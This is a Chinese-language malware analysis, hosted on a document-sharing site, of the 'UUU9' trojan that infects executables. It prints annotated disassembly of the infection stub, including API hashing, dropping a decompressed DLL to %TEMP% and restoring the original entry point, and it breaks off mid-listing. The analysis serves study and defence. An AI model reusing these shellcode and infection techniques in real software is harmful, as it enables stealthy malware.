UUU9病毒分析.docx

上传人:b****6 文档编号:7527621 上传时间:2023-01-24 格式:DOCX 页数:23 大小:156.78KB
下载 相关 举报
UUU9病毒分析.docx_第1页
第1页 / 共23页
UUU9病毒分析.docx_第2页
第2页 / 共23页
UUU9病毒分析.docx_第3页
第3页 / 共23页
UUU9病毒分析.docx_第4页
第4页 / 共23页
UUU9病毒分析.docx_第5页
第5页 / 共23页
点击查看更多>>
下载资源
资源描述

UUU9病毒分析.docx

《UUU9病毒分析.docx》由会员分享,可在线阅读,更多相关《UUU9病毒分析.docx(23页珍藏版)》请在冰豆网上搜索。

UUU9病毒分析.docx

UUU9病毒分析

UUU9病毒分析

--by[看雪]·blueapplez

简介:

此病毒为一盗号木马(我猜的)。

它会感染exe可执行文件,被感染的文件会被增加一个区段,区段名字叫".uuu9",故且把此病毒命名为UUU9病毒。

被感染的程序入口点代码被修改,会执行一段特定的代码,并释放一个随机命名的dll到Temp目录并加载,然后执行此dll的一个导出函数。

此病毒分析分为2部分,第一部分讲解被感染的程序的执行流程,第二部分讲解dll里面的逻辑。

第一部分·被感染程序的执行流程

先看下被感染的程序的区段信息,多个一个uuu9区段,如下图所示:

[被感染的程序区段信息]

感染前的区段信息

发现除了多了一个区段外,还把.text区段的属性给改了,增加了一个可写属性.

新区段的大小为0x2000,刚好是8K,查一下文件属性,也恰好大了8K。

【入口点】分析:

0040990F>$60pushad;保存现场

00409910.8BECmovebp,esp

00409912.83EC4Csubesp,4C

00409915.8BFCmovedi,esp;保存新esp

00409917.E9D2010000jmp00409AEE;这个jmp跳到后面一个地方然后又call了回来应该是为了获得call函数下条指令的地址吧

0040991C$5Epopesi;保存call下条指令的地址,esi=00409AEE+5=00409af3

0040991D.57pushedi;新esp入栈

0040991E.B94C000000movecx,4C

00409923.F3:

A4repmovsbyteptres:

[edi],byteptr[esi];把00409af3处代码拷贝到堆栈拷贝0x4c个字节,这4c个字节的数据是作者精心构造的数据,后面获得一些api地址都用到了这些数据

00409925.5Epopesi;esi=新的esp地址

00409926.8BFEmovedi,esi;edi恢复为新esp地址

00409928.64:

A13000000>moveax,dwordptrfs:

[30];这段代码好熟悉呀!

获得Kernel基址不分析了。

都快用烂了

0040992E.8B400Cmoveax,dwordptr[eax+C]

00409931.8B400Cmoveax,dwordptr[eax+C]

00409934.8B00moveax,dwordptr[eax]

00409936.8B5818movebx,dwordptr[eax+18]

00409939.53pushebx;把ntdll的基址入栈

0040993A.8B00moveax,dwordptr[eax]

0040993C.8B5818movebx,dwordptr[eax+18];ebx=kernel32.dll基址

0040993F.6A0Epush0E;这地方会获得14个函数地址:

LoadLibraryAGetProcessAddressVirtualAllocVirtualFreeGetModuleHandleASetErrorModeOpenMutexACloseHandleExitProcessExpandEnvironmentStringsA_lcreat_lwrite_lcloseGetTickCount,至于为什么要分析00409AA9这个函数,很精彩的一个函数

00409941.59popecx;ecx=0x0e循环14次

00409942>E862010000call00409AA9;此call非常精彩后面有分析

00409947.83C704addedi,4;调整堆栈指针

0040994A.^E2F6loopdshort00409942

0040994C.5Bpopebx;把ntdll基址出栈到ebx

0040994D.E857010000call00409AA9;此处是为了获得ntdll.RtlDecompressBuffer

00409952.E807000000call0040995E;PUSH"user32"这是一个小技巧,把call分解成push00409957,jmp0040995E来理解,本病毒利用了好多此这样的技巧来把字符串压栈

00409957.757365723>ascii"user32",0

0040995E>FF16calldwordptr[esi];LoadLibrary"user32.dll"

00409960.85C0testeax,eax

00409962.747Ejeshort004099E2

00409964.93xchgeax,ebx;非常巧妙的交换后ebx=user32基址eax=ntdll基址

00409965.83C704addedi,4

00409968.E83C010000call00409AA9;为了获得user32.wsprintfA

0040996D.E80C000000call0040997E;PUSHASCII"Yamamoto_56"

00409972.59616D616>ascii"Yamamoto_56",0

0040997E>33C0xoreax,eax

00409980.50pusheax;push0

00409981.40inceax

00409982.50pusheax;push1

00409983.FF5618calldwordptr[esi+18];OpenMutexA(1,0,"Yamamoto_56")

00409986.85C0testeax,eax;这里就是查一下是否这个互斥量已经存在了如果存在了就跳到004099E6,关闭handle然后跳到00409991处继续执行。

00409988.755Cjnzshort004099E6

0040998A.60pushad

0040998B.E85C000000call004099EC;一个重要的call,后面有分析

00409990.61popad

00409991>33FFxoredi,edi

00409993.6A40push40;40

00409995.B800100000moveax,1000

0040999A.50pusheax;1000

0040999B.50pusheax;1000

0040999C.57pushedi;0

0040999D.FF5608calldwordptr[esi+8];VirtualAlloc,申请空间

004099A0.85C0testeax,eax

004099A2.743Ejeshort004099E2

004099A4.93xchgeax,ebx;ebx=new出来的新地址

004099A5.57pushedi

004099A6.FF5610calldwordptr[esi+10];GetModuleHandle

004099A9.92xchgeax,edx;edx=exe模块的handle

004099AA.56pushesi;esi=那个奇怪的堆栈

004099AB.EB25jmpshort004099D2;跳走了又call回来是为了获得一个地址

这个地址就是004099d7

004099AD$5Epopesi;pop到esi,esi=004099d7

004099AE.8BFBmovedi,ebx;edi=new出来的新地址

004099B0.B90B000000movecx,0B;ecx=11

004099B5.F3:

A4repmovsbyteptres:

[edi],byteptr[esi];拷贝11字节到new出来的地址,也就是拷贝004099d7开始的5条汇编指令,这5条汇编指令的意义一会在说

004099B7.5Epopesi

004099B8.8BFAmovedi,edx;ediexe模块地址

004099BA.037E48addedi,dwordptr[esi+48];edi=入口点地址

004099BD.035640addedx,dwordptr[esi+40];edx=uuu9区段的首地址

004099C0.87F2xchgedx,esi;esi=入口点地址

004099C2.B930020000movecx,230;拷贝0x230个字节

004099C7.8BC3moveax,ebx;eax=new出来的那个地址

004099C9.0506000000addeax,6;eax+=6

004099CE.8938movdwordptr[eax],edi;入口点地址给[eax],这个是修改那11个字节里面的一个地址,使其跳到入口点

004099D0.FFE3jmpebx;跳到new的数据里面执行,他里面是堆栈数据,堆栈数据非常简单

004099D2>E8D6FFFFFFcall004099AD

004099D7.F3:

A4repmovsbyteptres:

[edi],byteptr[esi]

004099D9.8BE5movesp,ebp

004099DB.61popad

004099DC.68CCCCCCCCpushCCCCCCCC

004099E1.C3retn

【004099d0处堆栈数据分析】:

//堆栈数据执行,下面解释拷贝的那5条指令的意义

ecx=0x230

esi=uuu9区段首地址

edi=入口点地址

功能描述:

执行这么一个拷贝动作,恢复入口点数据,恢复寄存器,跳到原始的入口点,程序就能正常运行起来了

00940000F3:

A4repmovsbyteptres:

[edi],byteptr[esi]

009400028BE5movesp,ebp

0094000461popad

00940005680F994000pushaaa.<模块入口点>;这两句话相当于jmp入口点,程序就正常的跑起来了

0094000AC3retn

 

【00409aa9函数】分析:

本是寄存器传参,shellcode果然很灵活多变

ebx是dll基址 

edi是一个in out型的堆栈地址

功能描述:

从dll基址获得所有的dll导出函数的名字,然后根据名字字符串做一个简单的运算,比较运算结果是否等于dwordptr[edi],如果相等就把这个函数的地址放到dwordptr[edi],然后返回。

因此此函数可以通过事先算出某个函数的值,获得此函数地址。

隐蔽性和防免杀效果防静态反汇编效果都很好。

00409AA9  /$  60            pushad;保存现场

00409AAA  |.  8BEB          mov     ebp, ebx                            ;  ebx = kernel32基址

00409AAC  |.  8B75 3C       mov     esi, dword ptr [ebp+3C]             ;  取IMAGE_DOS_HEADER的最后一个变量 即IMAGE_NT_HEADER的偏移

00409AAF  |.  8B7435 78     mov     esi, dword ptr [ebp+esi+78]

00409AB3  |.  03F5          add     esi, ebp

00409AB5  |.  56            push    esi                                 ;  kernel32的导出表地址

00409AB6  |.  8B76 20       mov     esi, dword ptr [esi+20]             ;  得到IMAGE_EXPORT_DIRECTORY 的 AddressOfNames变量 即函数名称地址表RVA

00409AB9  |.  03F5          add     esi, ebp                            ;  加上kernel32基址

00409ABB  |.  33C9          xor     ecx, ecx                            ;  ecx = 0

00409ABD  |.  49            dec     ecx                                 ;  减一是为了后面的数组以0开始计算

00409ABE  |>  41            inc     ecx

00409ABF  |.  AD            lods    dword ptr [esi]                     ;  eax = 一个函数地址

00409AC0  |.  03C5          add     eax, ebp                            ;  eax = 加上基址,指向一个函数名字符串

00409AC2  |.  33DB          xor     ebx, ebx                            ;  ebx=0

00409AC4  |>  0FBE10        /movsx   edx, byte ptr [eax]                ;  取函数名的第一个字母,符号扩展

00409AC7  |$  38F2          |cmp     dl, dh

00409AC9  |.  74 08         |je      short 00409AD3                     ;  如果字符串结束了  就跳走。

00409ACB  |.  C1CB 0D       |ror     ebx, 0D

00409ACE  |.  03DA          |add     ebx, edx                           ;  ebx += edx

00409AD0  |.  40            |inc     eax                                ;  字符串++

00409AD1  |.^ EB F1         \jmp     short 00409AC4

00409AD3  |>  3B1F          cmp     ebx, dword ptr [edi]                ;  如果不等于堆栈里的那个值就跳走

00409AD5  |.^ 75 E7         jnz     short 00409ABE                      ;  最终发现  其实就是为了找某个函数的地址序号,应该是为了免杀吧  搞的如此复杂

00409AD7  |.  5E            pop     esi                                 ;  kernel32的导出表地址 放到esi里面

00409AD8  |.  8B5E 24       mov     ebx, dword ptr [esi+24]             ;  得到IMAGE_EXPORT_DIRECTORY 的 AddressOfOrdinals变量 即函数序号地址RVA

00409ADB  |.  03DD          add     ebx, ebp                            ;  加上基址

00409ADD  |.  66:

8B0C4B     mov     cx, word ptr [ebx+ecx*2]            ;  每个序号占2个字节 所以要乘以2

00409AE1  |.  8B5E 1C       mov     ebx, dword ptr [esi+1C]             ;  得到IMAGE_EXPORT_DIRECTORY 的 AddressOfFunctions变量 即导出函数地址表的RVA

00409AE4  |.  03DD          add     ebx, ebp                            ;  加上基址

00409AE6  |.  8B048B        mov     eax, dword ptr [ebx+ecx*4]          ;  没个地址占4个字节 所以要加4

00409AE9  |.  03C5          add     eax, ebp                            ;  加上基址,eax就是真实函数地址了

00409AEB  |.  AB            stos    dword ptr es:

[edi]                  ;  把eax 放到[edi]存着

00409AEC  |.  61            popad

00409AED  \.  C3            retn

【004099ec函数】分析:

//此函数没有参数

功能描述:

①用GetTickCount获得一个随机数。

②用wsprintf和①获得到的随机数拼出一个形如"%TEMP%29740046.dll"的字符串.

③用ExpandEnvironmentStringsA和②获得的字符串,获得形如"C:

\DOCUME~1\ADMINI~1\LOCALS~1\Temp\29740046.dll"的字符串路径。

关于ExpandEnvironmentStringsA的用法MSND上有介绍。

④用VirtualAlloc申请0x40000(256K)字节空间

⑤用Ntdll.RtlDecompressBuffer函数将.uuu9区段的0x230(内存地址00437230)开始的0x1986个字节进行解压,解压到④申请的那片空间里,解压得到一个dll,dll大小为0x2400.

(关于Ntdll.RtlDecompressBuffer函数参考:

⑥将解压得到的dll数据保存到3获得的那个全路径文件里。

⑦LoadLibrary这个dll,然后GetProceAddress序号为5的那个函数地址,然后调用之。

004099EC$55pushebp

004099ED.8BECmovebp,esp

004099EF.81C4D8FEFFFFaddesp,-128

004099F5.FF5634calldwordptr[esi+34]

004099F8.50pusheax

004099F9.E810000000call00409A0E;PUSHASCII"%%TEMP%%\%u.dll"

004099FE.252554454D50>ascii"%%TEMP%%\%u.dll",0

00409A0E>8D9DD8FEFFFFleaebx,dwordptr[ebp-128]

00409A1453pushebx

00409A15FF563Ccalldwordptr[esi+3C]

00409A1883C40Caddesp,0C

00409A1B6804010000push104

00409A20|.8DBDF8FEFFFFleaedi,dwordptr[ebp-108]

00409A26|.57pushedi

00409A27|.53pushebx

00409A28FF5624calldwordptr[esi+24];调用ExpandEnvironmentStringsA

00409A2B33FFxoredi,edi;filename0012FE28"C:

\DOCUME~1\ADMINI~1\LOCALS~1\Temp\29740046.dll"

00409A2D47incedi

00409A2EFF5614calldwordptr[esi+14];SetErrorMode

(1)

00409A314Fdecedi

00409A326A04push4;4

00409A34B800100000moveax,1000

00409A3950pusheax;0x1000

00409A3AC1E006shleax,6

00409A3D50pusheax;0x40000

00409A3E57pushedi;0

00409A3FFF5608calldwordptr[esi+8];VirtualAlloc申请256KB大小内存

00409A4285C0testeax,eax

00409A447461jeshort00409AA7

00409A4693xchgeax,ebx;ebx=new出来的新地址

00409A4757pushedi;push0

00409A48FF5610calldwordptr[esi+10];GetModuleHandle得到eax=004000000

00409A4B8D55FCleaedx,dwordptr[ebp-4]

00

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高等教育 > 农学

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1